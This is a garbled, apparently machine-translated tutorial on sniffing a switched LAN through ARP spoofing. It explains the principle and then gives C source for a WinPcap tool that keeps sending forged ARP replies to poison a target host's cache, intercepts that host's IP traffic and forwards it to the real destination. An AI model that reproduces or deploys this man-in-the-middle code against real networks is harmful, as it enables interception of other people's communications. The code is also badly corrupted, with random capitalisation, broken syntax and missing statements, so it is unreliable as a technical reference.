Snifer is a tool for transmitting data in the network. To achieve this, the general approach is to set the network card as a mixed mode, so you can sniff the data that passes the native network card (this general SNIFFER principle is not hereby illustrated). But this SNIFFER has a shortcoming, that is, it is only available for shared LAN, which is invalid for the switched local area network. Because in the switched local area network, the data in the network will not pass through each host's network card, so for the switched local area network, it is necessary to sniff with another more active method, that is, based on ARP spoofing sniff Explore. We assume that there are three hosts A, B, and C located in the same switched LAN, the attacker is in host A, while host B, C are communicating. Now A hopes to sniff the data of B-> C, so A can be disguised into c to do ARP spoofing - send a forged ARP answer package to b, IP address in the answer package is the IP address of C and the MAC address The MAC address of A. This answering package will refresh B's ARP cache, let B think A is C, saying in detail, is the MAC address of the IP address that the B thinks is the MAC address of the host A. In this way, B wants to send to C actually send it to A, and reaches the purpose of sniffing. In addition, since the ARP cache is dynamically updated, we must constantly send a forged ARP response package to B to prevent the IP-MAC mapping relationship in the ARP cache from Changed. (Here is the knowledge of ARP spoof, if you have doubts, please refer to the relevant information.) Of course, after this sniffing, C should not receive the data sent by B, that is, B and C communications are equivalent to being interrupted. Therefore, after we sniffing the data, we must forward this data to C so that the communication of B and C is not interrupted. The above is based on the basic principle of ARP spoofing, in this sniffer, the sniffer A is actually inserted into B-> C, and the data of B is sent to A, then forward A forward to C. The data transmission relationship is as follows: b -----> A -----> C B <---------- C Of course, if you still want to sniff C- > B data, you can also insert a in C-> B so that all data of B, C communications can be snirable. Below, it is still explained using a specific code. In this code, IPHLPAPI and WinPCAP programming are involved, please refer to relevant information:
#include "stdafx.h" #include "winsock2.h" #include "packet32.h" #include "wchar.h" #include "stdio.h" #include "iphlpapi.h"
#pragma comment (lib, "packet.lib") # Pragma Comment (lib, "ws2_32.lib") # Pragma Comment (Lib, "iPhlPAPI.LIB")
#define ndis_packet_type_directed 0x0001 // Direct mode
#pragma Pack (Push, 1)
typedef struct _et_header // Ethernet header {unsigned char eh_dst [6]; unsigned char eh_src [6]; unsigned short eh_type;} ET_HEADER; typedef struct _arp_header // ARP header {unsigned short arp_hdr; unsigned short arp_pro; unsigned char Arp_hln; unsigned char arp_opt; unsigned char arp_sha [6]; unsigned long arp_spa; unsigned char arp_tha [6]; unsigned long arp_tpa;} arp_header;
TYPEDEF STRUCT _IP_HEPER {char m_ver_hlen; // 4-bit version number, 4-digit IP header length char m_tos; ushort m_tlen; ushort m_ident; ushort m_flag_frag; // 3 bits, 1 bit DF, 1 Bit MF), 13-bit slice offset char m_ttl; char m_protocol; ushort m_cksum; ulong m_SIP; ulong m_dip;} ip_header;
TypeDef struct info // will be passed to the information structure of the listening thread {LPADAPTER LPADAPTER; Char Simulateip [20]; CHAR TARGETIP [20];} info;
#pragma pack (POP)
Void usage () {Printf ("******************************************************************************); Printf "* Made by ffantasyd * / n"); Printf ("* qq: 76889713 * / n"); Printf ("* email: ffantasyd@163.com * / n"); printf ("****** ***************************** / N "); Printf (" This Program Have 2 param: p2psniffer targetip simulation / n ") }
Void Strtomac (Char * Str, Char * MAC) // Customized String String into MAC Address {Char * Str1; Int i; Int Low, High; CHAR TEMP;
For (i = 0; i <6; i ) {str1 = STR 1; switch (* str) {case 'a': high = 10; Break; Case ': high = 11; Break; Case' C ': high = 12; case' d ': high = 13; Break; Case' E ': high = 14; Break; Case' f ': high = 15; brefault: temp = * str; high = ATOI (& TEMP);} Switch (* str1) {CASE 'A': Low = 10; Break; Case 'B': Low = 11; Break; Case 'C': Low = 12; Break; Case 'D': Low = 13; Break; Case 'E': Low = 14; Break; Case 'F': Low = 15; Break; Default: Temp = * Str1; Low = ATOI (& TEMP);} Mac [i] = high * 16 Low; Str = 2;}} void getLocalMac (Char * localmac, char * localip) // Get the machine MAC address {ulong numofadapter = 0; char Mac [5] [20] = {0}, IP [5 ] [20] = {0};
GetAdaptersInfo (NULL, & numOfAdapter); // acquired card information if (numOfAdapter = 0!) {IP_ADAPTER_INFO * pAdapterInfo = (IP_ADAPTER_INFO *) malloc (numOfAdapter * sizeof (IP_ADAPTER_INFO)); memset (pAdapterInfo, 0, numOfAdapter * sizeof (IP_ADAPTER_INFO) GetAdaptersInfo (PadapterInfo, & NumofAdapter);
Printf ("please select the local mac! / n"); for (INT i = 0; ((i <5) && (PadapterInfo! = null); i ) {sprintf (Mac [i], "% 02x% 02x% 02x% 02x% 02x% 02X ", PadapterInfo-> Address [0], PadapterInfo-> Address [1], PadapterInfo-> Address [2], PadapterInfo-> Address [3], PadapterInfo-> Address [4] PadapterInfo-> address [5]); Memcpy (IP [i], padapterinfo-> ipaddresslist.ipaddress.string, strlen (padapterinfo-> ipaddresslist.ipaddress.string);
Printf ("% D,% S -% S / N", i 1, IP [i], mac [i]); PadapterInfo = PadapterInfo-> Next;}} int index = 0; scanf ("% D ", & index); Memcpy (localmac, mac [index-1], strlen (mac [index-1])); Memcpy (localip, IP [index-1], strlen (IP [index-1]);
Return;}
Bool getRemotemac (Char * RemoteMac, Char * Remoteip) // Get remote host MAC address {wsadata wsadata; ulong remoteaddr = 0, macaddrlen = 6; char Remotemactemp [6] = {0};
IF (WSAStartup (MakeWord (2, 1), & WSADATA)! = 0) {Printf ("WSAStartup Error! / N"); Return False;}
remoteAddr = inet_addr (remoteIP); if (SendARP (remoteAddr, (unsigned long) NULL, (PULONG) & remoteMacTemp, & macAddrLen) = NO_ERROR!) {printf ( "Get remote MAC failed / n!"); return FALSE;} memcpy ( RemoteMac, RemoteMactemp, 6); / * for (INT i = 0; i <6; i ) {printf ("% .2x", RemoteMac [i]);} printf ("/ n"); * / return }
void assay (LPADAPTER lpAdapter, LPPACKET lpPacket, char * targetIP, char * simulateIP) // analyzes the received packet {char * buf; bpf_hdr * lpBpfhdr; ET_HEADER * lpEthdr; in_addr addr = {0}; buf = (char *) LPPACKET-> Buffer; lpbpfhdr = (bpf_hdr *) BUF; lpethdr = (Et_Header *) (BUF LPBPFHDR-> BH_HDRLEN);
IF (lpethdr-> eh_type == htons (0x0800)) // determined if IP packet {ip_header * lpiphdr = (ip_header *) (BUF LPBPFHDR-> BH_HDRLEN SIZEOF (ET_HEADER)); char SOURS [20] = { 0}, dest_ip [20] = {0}; addr.s_un.s_addr = lpiphdr-> m_sip; memcpy (Source_IP, INET_NTOA (AddR), Strlen (inet_ntoa (addr));
MEMSET (& addr, 0, sizeof (in_addr)); addr.s_un.s_addr = lpiphdr-> m_dr = lpiphdr-> m_dip; memcpy (dest_ip, inet_ntoa (addr), strlen (inet_ntoa (addr));
IF ((StrCMP (Source_IP, Targetip) == 0) && (STRCMP (DEST_IP, SIMULATEIP) == 0)) {Printf ("TheRe IS A IP Packet FROM% S TO% S! / N", Targetip, SimulateIP) ; // The following is sent to the package that sniffs to the real destination: CHAR MAC [6] = {0}; lppacket lpsendpacket = null; char sendbuf [512] = {0};
getRemoteMac (mac, simulateIP); memcpy (lpEthdr-> eh_dst, mac, 6); memcpy (sendBuf, lpEthdr, sizeof (ET_HEADER)); memcpy (sendBuf sizeof (ET_HEADER), lpIphdr, ntohs (lpIphdr-> m_tlen)) ;
LPsendPacket = packetallocatepacket (); packetinitpacket (lpsendpacket, sendbuf, 512);
PacketsetNumWrites (LPADAPTER, 2); PacketSendPacket (LPADAPTER, LPSENDPACKET, TRUE);
PacketFreePacket (LPSENDPACKET); // Release Packet Structure Pointer}}}
DWORD WINAPI LISTEN / / Listening Thread {LPADAPTER LPADAPTER; INFO * PINFO = (Info *) Param; LPPACKET LPPACKET; Char BUF [512] = {0}; lpadapter = Pinfo-> lpadapter; //printf "% s,% s / n", pinfo-> Near_IP, PINFO-> FAR_IP);
PacketSethWFilter (LPADAPTER, NDIS_PACKET_TYPE_DIRECTED); // Setting the NIC to Direct Mode PacketSetBuff (LPADAPTER, 1024); // Set the network card to receive the package of the buffer size PacketSetReadTimeout (LPADAPTER, 2); // Setting up a package after receiving a package "time
While (1) {lppacket = packetallocatepacket (); // Assign memory packetinitpacket (LPPACKET, BUF, 512) to the Packet Contection Pointer; // Initializing the Packet Structure Pointer
PacketReceivePacket (LPADAPTER, LPPACKET, TRUE); // Received Packet Assay (LPADAPTER, LPPACKET, PINFO-> Targetip, Pinfo-> Simulate); // Analyze Packets
/ / Reset lppacket: packetfreepacket (LPPACKET) each time, MEMSET (BUF, 0, 512);
PacketFreePacket; // Release LPPACKET RETURN 1;}
int main (int argc, char * argv []) {char s_mac [6] = {0}; LPADAPTER lpAdapter; LPPACKET lpPacket; ET_HEADER et_header; ARP_HEADER arp_header; static CHAR adapter_list [10] [1024]; WCHAR adapter_name [2048] Wchar * name1, * name2; ulong adapter_length = 1024; ulong i, adapter_num = 0; char buffer [512] = {0}; info param = {0}; usage (); if (argc! = 3) {Return -1; }
/ / Get MAC address: char localmac [20] = {0}, localip [20] = {0}; getLocalMac (localmac, localip);
Char RemoteMac [6] = {0}; IF (GetRemoteMac (RemoteMac, Argv [1]) == false) {Return -1;}
// Open the adapter:
// Name of all adapters. IF (packetGetAdapter_name, & adapter_length) == false) {// adapter_name: A buffer for storing the name of the adapter. Each character / / between a adapter name is separated by one '/ 0', and the two adapter names are separated by two '/ 0', and there are more than two // '/ 0'. It is considered that the adapter name has been completed. // adapter_Length: This buffer size Printf ("packetGetAdapternames error:% D / N", getLastError ()); return -1;} name1 = adapter_name; Name2 = adapter_name; i = 0; // Put Adapter_name Adapter Name, Copy to Adapter_List [], i starts from 0 for the first while ((* Name1! = '/ 0') || (* (Name1-1)! = '/ 0')) {IF ( * Name1 == '/ 0') {MEMCPY (Adapter_List [i], Name2, 2 * (Name1-Name2)); Name2 = Name1 1; i ;} Name1 ;}
/ / Default Open the first adapter lpadapter = (lpadapter) Packetopenadapter ((lptstr) Adapter_List [0]); if (! Lpadapter || (lpadapter-> hfile == invalid_handle_value)) {Printf ("Unable to open the driver, Error Code:% lx / n ", getLastError ()); Return -1;}
// Start listening thread: param.lpadapter = lpadapter; memcpy (param.targetip, argv [1], strlen (argv [1])); Memcpy (param.simulateip, argv [2], strlen (argv [2]) Createthread (NULL, 0, Listen, & param, 0, null); // Forged ArP Answer Package: Strtomac (Localmac, S_MAC); // local_mac memory (et_header.eh_src, s_mac, 6);
Memcpy (et_header.eh_dst, remotemac, 6);
et_header.eh_type = htons (0x0806); // Type 0x0806 means this is ARP package
ARP_HEADER.ARP_HDR = HTONS (0x0001); // Hardware Address Type Ethernet Address ARP_HEADER RAMP_PRO = HTONS (0x0800); // Protocol address type is IP protocol ARP_HEADER.ARP_HLN = 6; // Hardware address length is 6 ARP_HEADER.ARP_PLN = 4; // Protocol address length is 4 arp_header.arp_opt = htons (0x0002); // ID is ARP response
arp_header.arp_spa = inet_addr (argv [2]); // source_ip memcpy (arp_header.arp_sha, et_header.eh_src, 6); arp_header.arp_tpa = inet_addr (argv [1]); // target_ip memcpy (arp_header.arp_tha, et_header .e_dst, 6);
Memcpy (buffer, & et_header); Memcpy (buffer sizeof (et_header), & arp_header, sizeof (arp_header));
// Send a counterfeit ARP answer package: lppacket = packetallocatePacket (); // Assign memory packetinitpacket (LPPACKET, BUFFER, 512); // Initialization Packet structure pointer
IF (PacketsetNumWrites (LPADAPTER, 2) == false) // Settings the number of senders {Printf ("Warning: Unable to send more Than one packet in a single write! / n"); }printf ("start ..... ........ / n "); While (1) {if (PacketSendPacket (LPADAPTER, LPPACKET, TRUE) == false) / / Continuously send forged ARP answering packages to deceive the target host {Printf ( "Error Sending The Packets! / N"); Break;} Sleep (2000);
PacketFreePacket (LPPACKET); // Release Packet Structure Pointer Sleep (5000); PacketCloseadapter (LPADAPTER); // Close Adapter Return 0;}
The above is the basic implementation of this sniffing. Of course, there are many ways to sniff in the exchange of data in the switched local area. For example, you can use ARP to spoof and other. In short, there are many ways, only if you can't think of it, you can't do it.